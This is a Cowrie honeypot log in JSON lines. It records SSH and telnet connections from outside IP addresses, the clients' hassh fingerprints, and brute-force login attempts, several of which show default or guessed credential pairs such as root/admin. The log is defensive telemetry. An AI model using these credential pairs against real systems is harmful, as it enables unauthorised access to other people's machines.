{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:15.619570Z","src_ip":"36.133.184.250","session":"4650a31d6344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:15.858746Z","src_ip":"36.133.184.250","session":"4650a31d6344","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:16.563423Z","src_ip":"36.133.184.250","session":"4650a31d6344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":42008,"dst_ip":"159.203.135.109","dst_port":23,"session":"7833961cee0d","protocol":"telnet","message":"New connection: 111.119.202.27:42008 (159.203.135.109:23) [session: 7833961cee0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:20.577167Z"}
{"eventid":"cowrie.session.closed","duration":30.83281660079956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:21.240975Z","src_ip":"111.119.202.27","session":"8315a6a35d4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.091678619384766,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:22.269054Z","src_ip":"212.55.149.117","session":"4fc9efc9e36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59192,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fee553e5ac1","protocol":"telnet","message":"New connection: 111.119.202.27:59192 (159.203.135.109:23) [session: 3fee553e5ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:31.086386Z"}
{"eventid":"cowrie.session.closed","duration":120.00447225570679,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:34.358577Z","src_ip":"111.119.202.27","session":"d44a112463d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":58354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3da45fb21c3","protocol":"telnet","message":"New connection: 111.119.202.27:58354 (159.203.135.109:23) [session: d3da45fb21c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:41.097981Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":49638,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e42fc967c60","protocol":"telnet","message":"New connection: 111.119.202.27:49638 (159.203.135.109:23) [session: 2e42fc967c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:47.191025Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":59200,"dst_ip":"159.203.135.109","dst_port":23,"session":"080923507697","protocol":"telnet","message":"New connection: 111.119.202.27:59200 (159.203.135.109:23) [session: 080923507697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:49.513330Z"}
{"eventid":"cowrie.session.closed","duration":34.00459957122803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:54.581634Z","src_ip":"111.119.202.27","session":"7833961cee0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":62742,"dst_ip":"10.17.0.5","dst_port":22,"session":"be7af1dcd03e","protocol":"ssh","message":"New connection: 101.36.119.184:62742 (10.17.0.5:22) [session: be7af1dcd03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:03.324446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:03.335589Z","src_ip":"101.36.119.184","session":"be7af1dcd03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:03.558417Z","src_ip":"101.36.119.184","session":"be7af1dcd03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2019","message":"login attempt [ftpuser/ftpuser2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:04.475623Z","src_ip":"101.36.119.184","session":"be7af1dcd03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:05.700970Z","src_ip":"101.36.119.184","session":"be7af1dcd03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":60348,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac00483ef9a","protocol":"ssh","message":"New connection: 189.46.1.73:60348 (10.17.0.5:22) [session: dac00483ef9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:12.862977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:12.867647Z","src_ip":"189.46.1.73","session":"dac00483ef9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.854195833206177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:12.952069Z","src_ip":"111.119.202.27","session":"d3da45fb21c3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:13.019071Z","src_ip":"189.46.1.73","session":"dac00483ef9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"FTPUser","password":"ftpuser","message":"login attempt [FTPUser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:13.624334Z","src_ip":"189.46.1.73","session":"dac00483ef9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:14.820609Z","src_ip":"189.46.1.73","session":"dac00483ef9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8077871799469,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:20.321014Z","src_ip":"111.119.202.27","session":"080923507697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":38892,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe8f4af2d0e","protocol":"telnet","message":"New connection: 111.119.202.27:38892 (159.203.135.109:23) [session: 7fe8f4af2d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:29.737459Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33191,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5925a85622a","protocol":"ssh","message":"New connection: 2.57.121.25:33191 (10.17.0.5:22) [session: e5925a85622a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:35.147525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:35.152719Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:35.258127Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17081983","message":"login attempt [user/17081983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:35.756751Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17081976","message":"login attempt [user/17081976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:36.863711Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17071993","message":"login attempt [user/17071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:37.971481Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":35224,"dst_ip":"10.17.0.5","dst_port":22,"session":"e64ea1d158a1","protocol":"ssh","message":"New connection: 2.57.122.210:35224 (10.17.0.5:22) [session: e64ea1d158a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:39.068912Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"17061972","message":"login attempt [user/17061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:39.079646Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:39.271842Z","src_ip":"2.57.122.210","session":"e64ea1d158a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:39.275827Z","src_ip":"2.57.122.210","session":"e64ea1d158a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:39.713117Z","src_ip":"2.57.122.210","session":"e64ea1d158a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170486","message":"login attempt [user/170486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:40.189962Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:40.824204Z","src_ip":"2.57.122.210","session":"e64ea1d158a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:41.297903Z","src_ip":"2.57.121.25","session":"e5925a85622a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":58350,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b1e5e2b7c69","protocol":"telnet","message":"New connection: 111.119.202.27:58350 (159.203.135.109:23) [session: 4b1e5e2b7c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:44.929626Z"}
{"eventid":"cowrie.session.closed","duration":120.00387406349182,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:47.421612Z","src_ip":"111.119.202.27","session":"7b3bf732d933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00321650505066,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:49.757917Z","src_ip":"111.119.202.27","session":"dfad05001fb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":50698,"dst_ip":"159.203.135.109","dst_port":23,"session":"e517426149fc","protocol":"telnet","message":"New connection: 111.119.202.27:50698 (159.203.135.109:23) [session: e517426149fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:51.150193Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":24124,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0713030f8a","protocol":"ssh","message":"New connection: 101.36.119.184:24124 (10.17.0.5:22) [session: fa0713030f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:55.176898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:55.185469Z","src_ip":"101.36.119.184","session":"fa0713030f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:55.404761Z","src_ip":"101.36.119.184","session":"fa0713030f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"FTPUser","password":"ftpuser","message":"login attempt [FTPUser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:56.313426Z","src_ip":"101.36.119.184","session":"fa0713030f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":40464,"dst_ip":"159.203.135.109","dst_port":23,"session":"99846e986054","protocol":"telnet","message":"New connection: 111.119.202.27:40464 (159.203.135.109:23) [session: 99846e986054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:56.320921Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:39:57.535503Z","src_ip":"101.36.119.184","session":"fa0713030f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.80462956428528,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:12.541997Z","src_ip":"111.119.202.27","session":"7fe8f4af2d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58835,"dst_ip":"10.17.0.5","dst_port":23,"session":"e12c0607a83a","protocol":"telnet","message":"New connection: 212.55.149.117:58835 (10.17.0.5:23) [session: e12c0607a83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:12.837468Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":39922,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9699bc61dda","protocol":"telnet","message":"New connection: 111.119.202.27:39922 (159.203.135.109:23) [session: d9699bc61dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:14.117956Z"}
{"eventid":"cowrie.session.closed","duration":32.59644436836243,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:17.525974Z","src_ip":"111.119.202.27","session":"4b1e5e2b7c69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.893980503082275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:26.044099Z","src_ip":"111.119.202.27","session":"e517426149fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01306438446045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:30.333878Z","src_ip":"111.119.202.27","session":"99846e986054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170350074768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:31.087948Z","src_ip":"111.119.202.27","session":"3fee553e5ac1","protocol":"telnet"}
